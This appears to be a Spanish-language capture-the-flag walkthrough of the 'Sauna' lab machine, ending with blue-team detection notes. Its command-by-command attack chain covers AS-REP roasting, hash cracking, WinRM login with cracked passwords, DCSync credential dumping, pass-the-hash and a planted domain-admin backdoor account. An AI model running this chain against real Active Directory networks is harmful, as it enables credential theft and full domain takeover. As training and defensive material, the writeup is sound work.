Ataque & Defensa (Dario & Omar)
Escaneo de puertos : 1 minuto
nmap -Pn -n –max-retries=0 –min-rate 2000 –open -p- -iL alcance.txt |grep -v "Not shown"| grep 'tcp' |cut -d '/' -f 1 | tr '\n' ',' >> ports_openn.txt
pagina para detallar explicacion de comandos: https://explainshell.com/
-n : Tells Nmap to never do reverse DNS resolution on the active IP addresses it finds –max-retires 0 : to prevent any retransmissions. –min-rate 2000: –min-rate 2000 means that Nmap will try to keep the sending rate at or above 2000 packets per second. –open: solo mostrar puertos abiertos. -p- :escane desde el puerto 1 al 65536. (todos los puertos). -iL : escanea el contenido del archivo alcance.txt (especificar ruta del archivo). grep -v "Not shown": sacame todas las lineas que no digan "Not shown". grep tcp : sacame las lineas que digan tcp. cut -d '/' -f 1: solo sacame de cada linea el primer elemento , delimitado por el caracter "/". tr '\n' ',': sustituyeme el salto de lina por una coma.
Escaneo de servicios : 2 minutos
export ALLPORTS=$(cat ports_open.txt |tr '\n' ',' ) nmap -Pn -n -sV -sC -p $ALLPORTS -iL alcance.txt > tcp_scan_services.txt
Agregar el nombre del dominio y servidor al /etc/hosts
sudo echo "10.129.181.33 sauna sauna.EGOTISTICAL-BANK.LOCAL EGOTISTICAL-BANK.LOCAL" >> /etc/hosts
Chequear la pagina web en el puerto 80, identificar posibles usuarios.
sudo dirsearch -u http://10.129.181.33 –exclude-status=100-199,301,303-399,400-499,500-599
Fergus Smith Shaun Coins Sophie Driver Bowie Taylor Hugo Bear Steven Kerb Administrator
Enumeramos directorios a ver si vemos algo interesante.
sudo dirsearch -u http://10.129.181.33 –exclude-status=100-199,301,303-399,400-499,500-599
#resultado
[23:22:49] 200 – 30KB – /about.html
[23:23:15] 200 – 15KB – /contact.html
[23:23:31] 200 – 32KB – /index.html
Crear nomeclanturas de nombres de usuarios (https://github.com/urbanadventurer/username-anarchy#username-anarchy)
./username-anarchy -i posible_users.txt >> posiblekerberosusernames.txt
Ahora usaremos la herramienta de kerbrute para enumerar usuarios validos con los posibles nombres que ya creamos. (https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64)
./kerbrute_linux_amd64 userenum –dc 10.129.181.33 -d EGOTISTICAL-BANK.LOCAL posiblekerberosusernames.txt >> kerberosusers.txt cat kerberosusers.txt | grep [+] | cut -d " " -f 8 | cut -d '@' -f 1 >>get_SPN_users.txt
ahora que tenemos los usuarios validos,nos vamos con el puerto 88 de Kerberos. procedemos a realizar el ataque “AS-REP Roasting” donde se necesita el parámetro “pre-authentication” en un usuario de Active Directory como disabled,si es el caso, podemos solicitar datos de autenticación para cualquiera de estos usuarios y
#el DC devolvería un mensaje AS-REP. Dado que parte de ese mensaje está encriptado con la contraseña del usuario, el atacante puede intentar forzar la contraseña del usuario fuera de línea.
Solicitamos esa porcion encriptada con una herramienta de impacket.
python /usr/share/doc/python3-impacket/examples/GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile kerberosusers.txt -dc-ip 10.129.181.33 -format hashcat -outputfile usersTGT.txt
Ahora intentamos crackearlo con la herramienta hashcat y la lista de rockyou.txt
hashcat -m 18200 usersTGT.txt /usr/share/wordlists/rockyou.txt hashcat -m 18200 usersTGT.txt /usr/share/wordlists/rockyou.txt –show >> crackhashpasswords.txt
Confirmamos acceso por SMB (No tenemos).
crackmapexec smb 10.129.181.33 -u fsmith -p Thestrokes23
confirmamos acceso por winrm , recuerden que vimos dichos puertos abiertos en el escaneo de nmap(si tenemos).
crackmapexec winrm 10.129.181.33 -u fsmith -p Thestrokes23
nos conectamos por winrm a la maquina con las credenciales obtenidas.
evil-winrm -i 10.129.181.33 -u fsmith -p Thestrokes23
PRIVILEGE ESCALATION
descargamos winpeas para windows para enumerar mas rapido (https://github.com/carlospolop/PEASS-ng/releases),
#con esto veremos mas adelante que se tiene configurado un inicio de sesión en automático en la maquina,con el usuario llamado svc_loanmanager del dominio con la clave “Moneymakestheworldgoround!”.
upload winPEASany.exe
./winPEASany.exe >> outputwinpeas.txt
si no usaramos winpeas , hay una forma manual de ver esto, consultando las llaves de registro de windows.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
probemos credenciales
crackmapexec smb 10.129.181.33 -u 'svc_loanmanager' -p 'Moneymakestheworldgoround!’
vemos que no funciona , asi que vemos los usuarios de la maquina
net user
vemos un usuario que tiene el nombre de svc_loanmgr, como si le cambiaron el nombre.
crackmapexec smb 10.129.181.33 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!’
enumeramos el dominio bloodhound-python -ns 10.129.181.33 -d EGOTISTICAL-BANK.LOCAL -u svc_loanmgr -p Moneymakestheworldgoround! -c All
encendemos bloodhound y neo4j en el kali (instalado por defecto o con un sudo apt-get xxxx se resuelve).
sudo neo4j console bloodhound
nota:la primera vez tienes que ir a la direccion de localhost de neo4j, usuario "neo4j" , pass "neo4j", te pide cambiar la clave, cuando la cambies , esa clave insertas en bloodhound.
usamos este query en bloodhound
MATCH p = allshortestPaths((n)-[1..]->(c)) WHERE n.name =~ '(?i)svc_loanmgr.' AND NOT c=n RETURN p
descubrimos que svc_loanmgr tiene privilegios de dcsync sobre el dc , asi que realizamos un dcsync para capturar todos los hashes
python /usr/share/doc/python3-impacket/examples/secretsdump.py -dc-ip 10.129.181.33 EGOTISTICAL-BANK.LOCAL/svc_loanmgr:'Moneymakestheworldgoround!'@10.129.181.33
nos conectamos como admin local python /usr/share/doc/python3-impacket/examples/psexec.py EGOTISTICAL-BANK.LOCAL/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e
por diversion creamos una persistencia local
net user badbunny hola123! /domain /add net localgroup administrators badbunny /add
lo agregamos al grupo de domainadmin net group "Domain Admins" badbunny /ADD /DOMAIN
iniciamos sesion como bad bunny ! python /usr/share/doc/python3-impacket/examples/wmiexec.py EGOTISTICAL-BANK.LOCAL/badbunny:'hola123!'@10.129.181.33
Referencias para posterior lectura
leer diferencias entre psexec , wmiexec y smbexec >> https://medium.com/@allypetitt/windows-remoting-difference-between-psexec-wmiexec-atexec-exec-bf7d1edb5986 Detalle sobre ataque AS-rep roasting >> https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/ as-rep roasting vs kerberoasting >> https://jsecurity101.medium.com/ioc-differences-between-kerberoasting-and-as-rep-roasting-4ae179cdf9ec#:~:text=Kerberoast%20has%20AS%2DREQ%2FAS,requesting%20a%20Kerberos%20Authentication%20Ticket.
Notas de blue team
-crear reglas para detectar escaneos de red. Logica: una ip connectandose por tcp a un equipo a mas de 5 puertos en un corto periodo de tiempo.
-auditar dentro del active directory cuales usuarios tienen habilitado la propiedad llamada "Do not require Kerberos preauthentication". comando de powershell: Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties useraccountcontrol | Format-Table name
-implementar contrasenas que sean dificiles de adivinar, mas de 13 digitos, minusculas, mayusculas, numeros, signos especiales, evitar frases, y relacion con el usuario.
-monitorear la habilitacion de la propiedad "Do not require Kerberos preauthentication" a traves del codigo de evento de windows 4738.
-auditar creacion de cuentas de usuario en active directory mediante el evento 4720 y relacionarlo con el evento 4728 que detecta cuando usuarios son anadidos a "security-enabled global groups".
-pro tip: en objetos importantes de active directory o honey accounts puedes habilitar Configurar la auditoría de objeto, luego monitoreamos el evento de windows 5136 que monitorea cada vez que se modifica una propiedad de un objeto de active directory.
leer mas del tema: https://blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/ https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=5136 https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136 https://www.netwrix.com/how_to_detect_membership_changes_in_domain_admins_group.html https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/use-audit-active-directory-objects-track-events https://www.alteredsecurity.com/post/a-primer-on-dcsync-attack-and-detection